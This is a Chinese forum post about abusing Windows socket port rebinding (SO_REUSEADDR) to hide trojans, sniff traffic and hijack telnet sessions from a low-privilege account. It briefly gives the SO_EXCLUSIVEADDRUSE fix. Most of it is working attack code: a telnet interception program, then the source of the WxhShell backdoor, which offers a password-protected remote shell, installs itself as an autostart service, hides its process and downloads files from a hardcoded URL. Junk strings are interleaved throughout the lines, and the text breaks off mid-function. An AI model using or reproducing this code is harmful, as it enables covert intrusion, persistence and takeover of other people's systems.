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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 86Q\G.h7  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); JqWMO!1  
`L<f15][  
  saddr.sin_family = AF_INET; 7oY}=281  
klHOAb1  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 4T#B7wVoM  
g-^Cf   
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 3&Dln  
Z}bUvr XP  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ECHl 9; +  
H':dLR  
  这意味着什么?意味着可以进行如下的攻击: .5=Qf vi*  
(?MRbX]@  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 x`N _tWZ  
jR~2mf!h*e  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) S"?py=7  
p x;X}Cd  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 A:Y]<jt  
\+OP!`  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  \m @8$MK  
b|U48j1A  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 z 9mmZqhK\  
gs;3NW  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 z_fR?~$N2  
,a_F[uK  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 &W/C2cpmR  
i<<NKv8;  
  #include 4u5^I;4pL  
  #include :ie7HF  
  #include O[+![[N2  
  #include    KQsS)ju  
  DWORD WINAPI ClientThread(LPVOID lpParam);   9( ;lcOz  
  int main() a<+Qw'  
  { $<^4G  
  WORD wVersionRequested; ]'Y vI! r  
  DWORD ret; 0gNwC~IA8  
  WSADATA wsaData; I}oxwc  
  BOOL val; K{[ySB  
  SOCKADDR_IN saddr; dRg1I=|{_  
  SOCKADDR_IN scaddr; 51.! S  
  int err; rAqg<fR*  
  SOCKET s; (1e;7sNG@  
  SOCKET sc; + >o/Ob  
  int caddsize; e-<fkU9^W  
  HANDLE mt; q 4_&C&7  
  DWORD tid;   b~\gV_Z  
  wVersionRequested = MAKEWORD( 2, 2 ); zo66=vE!  
  err = WSAStartup( wVersionRequested, &wsaData ); [uOW\)`  
  if ( err != 0 ) { ,=KJ7zIK?  
  printf("error!WSAStartup failed!\n"); }N; c  
  return -1; wc-H`S|@  
  } ;p ~@*c'E  
  saddr.sin_family = AF_INET; C[ <OF/  
   `o(PcX3/}  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 e9r#r~Qq|  
2GRh8G&5  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); uiq)?XUKv  
  saddr.sin_port = htons(23); i|u3Qt5  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .v [8ie  
  { Te?UQX7Z}M  
  printf("error!socket failed!\n"); @D K,ka(  
  return -1; [.tqgU  
  } @ ?y(\>  
  val = TRUE; 6L@g]f|Y@  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 =!3G,qV  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) GCul6,w  
  { Q7]:vs)%  
  printf("error!setsockopt failed!\n"); |YjuaXd7N  
  return -1; RW 23lRA6  
  } jYKs| J)[  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; LLOe  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 )_!t9gn*wr  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 >*%ySlZbs  
`WF?87l1  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) r-]Au -  
  { cw#p!mOi~  
  ret=GetLastError(); 7V?]Qif~  
  printf("error!bind failed!\n"); \2i4]V  
  return -1; jTk !wm=  
  } *%5#\ I  
  listen(s,2); 2#'{Q4K  
  while(1) ~V3pj('/)'  
  { Y}(#kqh>  
  caddsize = sizeof(scaddr); :pQZ)bF  
  //接受连接请求 F;yq/e#Q  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); CD1}.h  
  if(sc!=INVALID_SOCKET) Ty\&ARjb 8  
  { EOhUr=5~  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); b8)>:F  
  if(mt==NULL) %t M]|!yw  
  { H@2JL.(k  
  printf("Thread Creat Failed!\n"); /Kb7#uq  
  break; Z QND^a:  
  } pc}Q_~e  
  } @TC_XU)&  
  CloseHandle(mt); YhFB*D;  
  } Dw    
  closesocket(s); Bn*D<<{T  
  WSACleanup(); [0N==Ym1  
  return 0; dix\hqZ  
  }   V_Kpb*3  
  DWORD WINAPI ClientThread(LPVOID lpParam) &O5%6Sv3d  
  { a #?% I#  
  SOCKET ss = (SOCKET)lpParam; " M8 j?  
  SOCKET sc; /HH5Mn*  
  unsigned char buf[4096]; (qHI>3tpY  
  SOCKADDR_IN saddr; H?ssV^k  
  long num; 4\<[y]pv  
  DWORD val; 2;.7c+r0  
  DWORD ret; "XMTj <D  
  //如果是隐藏端口应用的话,可以在此处加一些判断 N8:?Z#z  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   {c|nIwdB  
  saddr.sin_family = AF_INET; 5~4I.+~8  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); dsqqq,>Q  
  saddr.sin_port = htons(23); jy{T=Nb  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) PH 97O`"  
  { hu[=9#''$  
  printf("error!socket failed!\n"); q5:-?|jXJ  
  return -1; \^SL Zhe  
  } a^i`DrX  
  val = 100; /Q5pA n-u  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %).phn"ij[  
  { laqKP+G  
  ret = GetLastError(); @5Q}o3.zA-  
  return -1; i%>]$*  
  } .z7X Ymv  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) wIuwq>  
  { XLp tJ4~v  
  ret = GetLastError();  f]q3E[?/  
  return -1; *ghkw9/  
  } s@ m A\  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) j,eeQ KH  
  { i}ypEp  
  printf("error!socket connect failed!\n"); sLzcTGa2:z  
  closesocket(sc); z^I"{eT8  
  closesocket(ss); Qpiv,n  
  return -1; gt6*x=RCrQ  
  } |ap{+ xh  
  while(1) uF9p:FvN8  
  { r|cl6s!P  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 U#1T HO`  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 pm B}a7  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ja70w:ja  
  num = recv(ss,buf,4096,0); c`mJrS:  
  if(num>0) b_cnVlN[  
  send(sc,buf,num,0); J7t5 B}}  
  else if(num==0) ?mS798=f  
  break; C*ZgjFvB  
  num = recv(sc,buf,4096,0); Xj"/6|X  
  if(num>0) fG;)wQJ  
  send(ss,buf,num,0); `R0>;TdT  
  else if(num==0) L7_Mg{  
  break; U2/H,D  
  } 5.F.mUO  
  closesocket(ss); @no]*?Gpa  
  closesocket(sc); akgXI^K  
  return 0 ; (qlI QC  
  } Q[scmP^$^  
p=\DZU~1  
4?g~GI3  
========================================================== 8,=Ti7_  
4z Af|Je  
下边附上一个代码,,WXhSHELL jJ?MT#v  
~el#pf~  
========================================================== wKe^5|Rr  
j[m\;3Sp  
#include "stdafx.h" $iDatQ[  
UF=5k~7<b  
#include <stdio.h> 3 =@7:4 A  
#include <string.h> !Zgb|e8<  
#include <windows.h> jii2gtu'U  
#include <winsock2.h> X_+`7yCi"x  
#include <winsvc.h> .\X/o!xC  
#include <urlmon.h> :aLShxKA  
gWqmK/.U.0  
#pragma comment (lib, "Ws2_32.lib") )Ac8'{Tq/  
#pragma comment (lib, "urlmon.lib") j#Ly!%dp  
5|x&Z/hL  
#define MAX_USER   100 // 最大客户端连接数 7!hL(k[  
#define BUF_SOCK   200 // sock buffer Q{b ZD*  
#define KEY_BUFF   255 // 输入 buffer +`u]LOAyP=  
r-'\<d(J$  
#define REBOOT     0   // 重启 yfiRMN"2  
#define SHUTDOWN   1   // 关机 NS-u,5Jt  
Ud^+a H  
#define DEF_PORT   5000 // 监听端口 {z|0Y&>[=  
2W|4  
#define REG_LEN     16   // 注册表键长度 }fZT$'*;  
#define SVC_LEN     80   // NT服务名长度 })g|r9=  
|;6FhDW+'  
// 从dll定义API !;pmql  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); V%dMaX>^i  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4otB1{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); p]*$m=t0r  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); r.xGvo{iY  
d"Y9go"Z  
// wxhshell配置信息 c~ l$_A  
struct WSCFG { Q/\ <rG4  
  int ws_port;         // 监听端口 y&t&'l/m  
  char ws_passstr[REG_LEN]; // 口令 fC.-* r  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4o9#B:N]J  
  char ws_regname[REG_LEN]; // 注册表键名 hz<kR@k}  
  char ws_svcname[REG_LEN]; // 服务名 ktU98Bk]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Sq/M %z5'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ml.l( 6A  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 fU!C:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ?JzLn,&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" g?A4C`l6iy  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 RR{]^g51  
63UAN0K%  
}; @]6)j&  
^TVy :5Ag  
// default Wxhshell configuration <5@+:7Dv  
struct WSCFG wscfg={DEF_PORT, 50rCW)[#  
    "xuhuanlingzhe", kWjCSC>jA  
    1, J [2;&-@  
    "Wxhshell", 0?BT*  
    "Wxhshell", Ooc,R(  
            "WxhShell Service", Zla5$GM  
    "Wrsky Windows CmdShell Service", i cQsA  
    "Please Input Your Password: ", lEQ 63)Z  
  1, zu(/ c  
  "http://www.wrsky.com/wxhshell.exe", S"CsY2;  
  "Wxhshell.exe" 7XT2d=)"  
    }; 8UwL%"?YB  
`O.*qs5  
// 消息定义模块 FfI $3:9  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; m=z-}T5y!T  
char *msg_ws_prompt="\n\r? for help\n\r#>"; -kq=W_  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; o ]2=5;)  
char *msg_ws_ext="\n\rExit."; KqcelI?-I  
char *msg_ws_end="\n\rQuit."; !\JG]2 \  
char *msg_ws_boot="\n\rReboot..."; ^(V!vI*  
char *msg_ws_poff="\n\rShutdown..."; rs~RKTv-  
char *msg_ws_down="\n\rSave to "; ,aV89"}  
~PHAC@pU  
char *msg_ws_err="\n\rErr!"; W!4GL>9m}A  
char *msg_ws_ok="\n\rOK!"; d~g  
[Rs5hO  
char ExeFile[MAX_PATH]; 9x?" %b  
int nUser = 0; -x_b^)x~b7  
HANDLE handles[MAX_USER]; )6PZ.s/F6p  
int OsIsNt; bnWIB+%_  
^> .?k h9z  
SERVICE_STATUS       serviceStatus; MM|&B`v@;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; o(]kI?`  
}=^YLu=  
// 函数声明 ~/! Zh  
int Install(void); A~\:}P N  
int Uninstall(void); tB&D~M6[  
int DownloadFile(char *sURL, SOCKET wsh); [ k^6#TQcn  
int Boot(int flag); $bF.6  
void HideProc(void);  8y OzD  
int GetOsVer(void); /jC0[%~jV  
int Wxhshell(SOCKET wsl); R5X<8(4p  
void TalkWithClient(void *cs); ]Q-ON&/  
int CmdShell(SOCKET sock); #PVgx9T=_  
int StartFromService(void); 702&E(rx,  
int StartWxhshell(LPSTR lpCmdLine); -1Lh="US  
)$P!7$C-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (jPN+yQ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); LZ|G"5X[  
g`y >)N/  
// 数据结构和表定义 }LM^>M%  
SERVICE_TABLE_ENTRY DispatchTable[] = 4Yt:PN2  
{  F04`MY"  
{wscfg.ws_svcname, NTServiceMain}, &~6Z)}  
{NULL, NULL} 1e'-rm F  
}; }bIEWho  
q_g'4VZv  
// 自我安装 $T^O38$  
int Install(void) qe"5&cc1  
{ _Jj|g9b  
  char svExeFile[MAX_PATH]; :V HJD  
  HKEY key; 5G_*T  
  strcpy(svExeFile,ExeFile); <& 8cq@<  
2"'0OQN0\  
// 如果是win9x系统,修改注册表设为自启动 +@cf@}W6QC  
if(!OsIsNt) { X@JDfn?A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Fw!5hR`,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r1}OlVbK  
  RegCloseKey(key); @=K> uyB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xRv1zHZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O2:m)@  
  RegCloseKey(key); #8R\J[9  
  return 0; d}>Nl$  
    } W`eYd| +C  
  } 5ii`!y  
} k^C;"awh  
else { I> =7|G  
 |}QDC/  
// 如果是NT以上系统,安装为系统服务 4L^KR_h/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "h_n/}r=  
if (schSCManager!=0) s+yBxgQ/  
{ '@AK0No\W  
  SC_HANDLE schService = CreateService  3iV/7~ O  
  ( _&XT =SW}  
  schSCManager, {tu* ="d=  
  wscfg.ws_svcname, 'iXjt MX  
  wscfg.ws_svcdisp, Mn7 y@/1  
  SERVICE_ALL_ACCESS, w I #_r_  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , z/F(z*'v  
  SERVICE_AUTO_START, QD+dP nZu  
  SERVICE_ERROR_NORMAL, (+@3Dr5o0}  
  svExeFile, Vhz?9i6|g^  
  NULL, '|J-8"  
  NULL, &%f y  
  NULL, g5V9fnb!d  
  NULL, WyA>OB<Zeq  
  NULL mf,mKgfG  
  ); e|):%6#  
  if (schService!=0) 2~2  
  { @gE +T37x2  
  CloseServiceHandle(schService); lh7{2WQ  
  CloseServiceHandle(schSCManager); T_[W=9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  +;Q &  
  strcat(svExeFile,wscfg.ws_svcname); +m:U9K(\h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !b rN)b)f  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =XQ3sk6U  
  RegCloseKey(key); mmwwz  
  return 0; !g=,O6  
    } UmiW_JB  
  } HpDU:m  
  CloseServiceHandle(schSCManager); ~b3xn T  
} G/Kz_Y,  
} VXn]*Mo  
MZn7gT0  
return 1; p % 3B^  
} %ghQ#dZ]&  
^5 F-7R8Q  
// 自我卸载 67 7p9{:  
int Uninstall(void) 0w8Id . ,  
{ ,{%/$7)  
  HKEY key; wjq f u /  
x2Y1B  
if(!OsIsNt) { H<}<f:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0>H<6Ja  
  RegDeleteValue(key,wscfg.ws_regname); ItYG9a  
  RegCloseKey(key); miZ{V%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A. U<  
  RegDeleteValue(key,wscfg.ws_regname); a}M7"v9  
  RegCloseKey(key); .{5)$w>  
  return 0; 6M"J3\ x  
  } xfkG&&  
} '[qG ,^f  
} TkWS-=lNH0  
else { K&BlWXT  
p|(910OEQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); X2dTV}~i  
if (schSCManager!=0) u-OwL1S+  
{ %+gze|J  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {'"A hiR/  
  if (schService!=0) KOhy)h+ h  
  { %dw-}1X  
  if(DeleteService(schService)!=0) { W$:;MY>0f  
  CloseServiceHandle(schService); &r~~1BnpHm  
  CloseServiceHandle(schSCManager); $d,30hK  
  return 0; B(Y{  
  } YwoytoXK  
  CloseServiceHandle(schService); XLqS{r~?  
  } Jc`LUJT  
  CloseServiceHandle(schSCManager); Ip.5I!h[Xb  
} Q`5jEtu#,  
} UQ'D-eK  
|oSyyDYWP  
return 1; FLEf(  
} :/~`"`#1  
Haj`mc!<D0  
// 从指定url下载文件 >bz}IcZP  
int DownloadFile(char *sURL, SOCKET wsh) IJS9%m#  
{ }`5%2iG  
  HRESULT hr; fAUtqkB  
char seps[]= "/"; "uTzmm$  
char *token; .}SW`R Pk  
char *file; "h$A.S  
char myURL[MAX_PATH]; Bq79Ev .-  
char myFILE[MAX_PATH]; ptb t  
%?X~,  
strcpy(myURL,sURL); zJ|Ek"R.  
  token=strtok(myURL,seps); q$:T<mFK$  
  while(token!=NULL) nHD4J;l  
  { F3H)B:  
    file=token; pA(@gisg  
  token=strtok(NULL,seps); *Z|!%C  
  } #OJ^[Zi<  
S$BwOx3QF  
GetCurrentDirectory(MAX_PATH,myFILE); 2~R"3c+^  
strcat(myFILE, "\\"); Z(/jQ=ozQ  
strcat(myFILE, file); {n$9o  
  send(wsh,myFILE,strlen(myFILE),0); eW\7X%I  
send(wsh,"...",3,0); ll[U-v{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); KDRIy@[e  
  if(hr==S_OK) VH#]67  
return 0; rm2{PV<+d  
else OPwp(b  
return 1; z}8rD}BH  
G!XizhE  
} .Ks&r  
\w^U<_zq  
// 系统电源模块 qa`bR%eH  
int Boot(int flag) NZ7a^xT_)  
{ Iimz  
  HANDLE hToken; f*W<N06EZ  
  TOKEN_PRIVILEGES tkp; l:j9lBS  
[ {lF1+];@  
  if(OsIsNt) { {s=QwZdR  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); d?b2jZ$r]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )l[ +7  
    tkp.PrivilegeCount = 1; UbY-)9==  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; JY9Hqf  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); e#FaK^V  
if(flag==REBOOT) { sw{EV0&>m  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -a&wOn-W  
  return 0;  <gf:QX!  
} ?v8RY,Q30  
else { ~}8 3\LI}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #^!oP$>1  
  return 0; RX?Nv4-  
} Zp- Av8  
  } Pa0tf:  
  else { jY87N Hg  
if(flag==REBOOT) { s67$tlV  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;Qk*h'}f  
  return 0; Rp}6}4=d  
} d cPh @3  
else { @_1$ <8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) V)!Oss;i  
  return 0; =!{}:An1$  
} UupQ* ,dJ  
} LeQ2,/7l:  
!*C^gIQGU  
return 1; sGMC$%e}  
} MZv&$KG4m@  
iu*u|e  
// win9x进程隐藏模块 pOIFO =k  
void HideProc(void) +;FF0_   
{ "Q2[A]4E  
6$fC R  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <adu^5BI  
  if ( hKernel != NULL ) .? !{.D  
  {  gT O%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); C(e!cOG  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); P*I\FV  
    FreeLibrary(hKernel); aOWbIS[8  
  } ,dZ 9=]  
hLx*$Z>  
return; 2[j|:Ng7  
} 2/B(T5PY@  
Ls*.=ARq  
// 获取操作系统版本 0 I;>du  
int GetOsVer(void) ;bP7|  
{ |06J4H~k  
  OSVERSIONINFO winfo; zrnc~I+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ax>en]rNP  
  GetVersionEx(&winfo); ]y-r I  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) cpu+"/\  
  return 1; >4LX!^V"  
  else !Q#u i[0q  
  return 0; P,I3E?! j  
} uZ<Bfrc  
~g1@-)zYxK  
// 客户端句柄模块 /xrt,M@  
int Wxhshell(SOCKET wsl) IGu*#>h  
{ zx#d _SVi  
  SOCKET wsh; OjrQ[`(E  
  struct sockaddr_in client; -?LSw  
  DWORD myID; xv4nYm9  
gj6"U {D  
  while(nUser<MAX_USER) `Bkba:  
{ Srol0D I  
  int nSize=sizeof(client); mz9Kwxe  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {D`F$=Dlw  
  if(wsh==INVALID_SOCKET) return 1; 'DntZK  
0vQkm<  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); zx=A3I%7 A  
if(handles[nUser]==0) 1REq.%/=  
  closesocket(wsh); R`TM@aaS:  
else ,Z MYCl]  
  nUser++; yU .B(|  
  } ~@itZ,d\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {) Y &Vr5  
1(On.Y=   
  return 0; ~)oC+H@{  
} @H7dQ, %  
`I6)e{5t  
// 关闭 socket 2eyvY|:Q>  
void CloseIt(SOCKET wsh) jWP(7}U  
{ G@,qO#5&  
closesocket(wsh); Lc<Gn y^  
nUser--; Eptsxyz{  
ExitThread(0); Kq-y1h]7H  
} aASnk2DFd  
pC#Z]_k  
// 客户端请求句柄 LNg[fF^:  
void TalkWithClient(void *cs) }c&Zv#iO6  
{ $5il]D`  
}"q1B  
  SOCKET wsh=(SOCKET)cs; eYsO%y\I  
  char pwd[SVC_LEN]; W{ Nhh3  
  char cmd[KEY_BUFF]; '-W p|A  
char chr[1]; ]Ms~;MXlx5  
int i,j; ;=B&t@  
IXd&$h]Lq  
  while (nUser < MAX_USER) { ~jF5%Gu  
r"5]U`+  
if(wscfg.ws_passstr) { $2;YJjz(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n-H0cm  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H3 `%#wQ0j  
  //ZeroMemory(pwd,KEY_BUFF); J fsCkS  
      i=0; !H?#~{ W}  
  while(i<SVC_LEN) { jZm1.{[>  
cC4*4bMm  
  // 设置超时 y6:=2(]w<p  
  fd_set FdRead; Z~$&h  
  struct timeval TimeOut; .>CqZN,^  
  FD_ZERO(&FdRead); !u4oo-  
  FD_SET(wsh,&FdRead); Fp@eb8Pl  
  TimeOut.tv_sec=8; $XT&8%|*7  
  TimeOut.tv_usec=0; m;Sw`nw?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); vcV=9q8P1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); CHBCi) '6h  
b%|%Rek8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8V~w3ssz  
  pwd=chr[0]; w9.r`_-  
  if(chr[0]==0xd || chr[0]==0xa) { Zu~ #d)l3N  
  pwd=0; puMpUY  
  break; ';b/D   
  } (qB$I\  
  i++; QdDdrR^&  
    } 8i X?4qj{P  
N15{7 ,   
  // 如果是非法用户,关闭 socket RJBNY;0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); C(W?)6?  
} IybMO5Mwn  
yKfRwO[ j  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;=UrIA@y;=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &a48DCZ  
wPqIy}-  
while(1) { Qj 0@^LA  
ZH&%D*a&  
  ZeroMemory(cmd,KEY_BUFF); EZBk;*= B  
<M+ZlF-`  
      // 自动支持客户端 telnet标准   ; [dcbyu@  
  j=0; dVCBpCxI  
  while(j<KEY_BUFF) { $:mCyP<y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }.` ycLW'  
  cmd[j]=chr[0]; . 1?AU 6\  
  if(chr[0]==0xa || chr[0]==0xd) { WOgbz&S?J  
  cmd[j]=0; v\\Z[,dK  
  break; 9LCV"xgX  
  } ]^aece t  
  j++; -V4@BKI8  
    } o*r\&!NIw  
v?d~H`L  
  // 下载文件 chfj|Ce]x  
  if(strstr(cmd,"http://")) { $ n 7dIE  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $i~DUT(  
  if(DownloadFile(cmd,wsh)) Pf@8C{I  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); k[G?22t  
  else Cww$ A %}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _W?}%;  
  } oN)K2&M0  
  else { ^pZ(^  
Y Xn)?  
    switch(cmd[0]) { VCvuZU{<  
  Y.Gr(]tk  
  // 帮助 tr/S*0$  
  case '?': { KY4|C05 ,  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); atW;S99#  
    break; J. {[>  
  } pw&l.t6.  
  // 安装 v*]|1q%/  
  case 'i': { ^*}L9Ot~  
    if(Install()) M^+~r,D1u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); = #ocp  
    else 8 +uOYNXsA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *^" 4 )  
    break; Ld+}T"Z&M>  
    } pBmacFP  
  // 卸载 Mb?6c y[  
  case 'r': { bk#u0N  
    if(Uninstall()) gpE5ua&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ot-!_w<  
    else $IB@|n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "R):B~8|H{  
    break; O!/J2SfuDH  
    } g-')|0py  
  // 显示 wxhshell 所在路径 { -<h5_h@  
  case 'p': { <7)Vj*VxC  
    char svExeFile[MAX_PATH]; [ &R-YQ@  
    strcpy(svExeFile,"\n\r"); rj<%_d'Z`  
      strcat(svExeFile,ExeFile); 0)9GkHVu(  
        send(wsh,svExeFile,strlen(svExeFile),0); ~v+& ?dg  
    break; b6);bX>e  
    } pm<<!`w"  
  // 重启 }$m_):t@@  
  case 'b': { PO |p53  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); c67O/ B(  
    if(Boot(REBOOT)) 1z[WJ}$u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `\O[9.B  
    else { AO/J:`  
    closesocket(wsh); i3#]_ p{  
    ExitThread(0); yUNl)E  
    } vxbO>c   
    break; V-J\!CHX  
    } B.{0,b W?  
  // 关机 .hT^7|Jz[  
  case 'd': { gKS^-X{x  
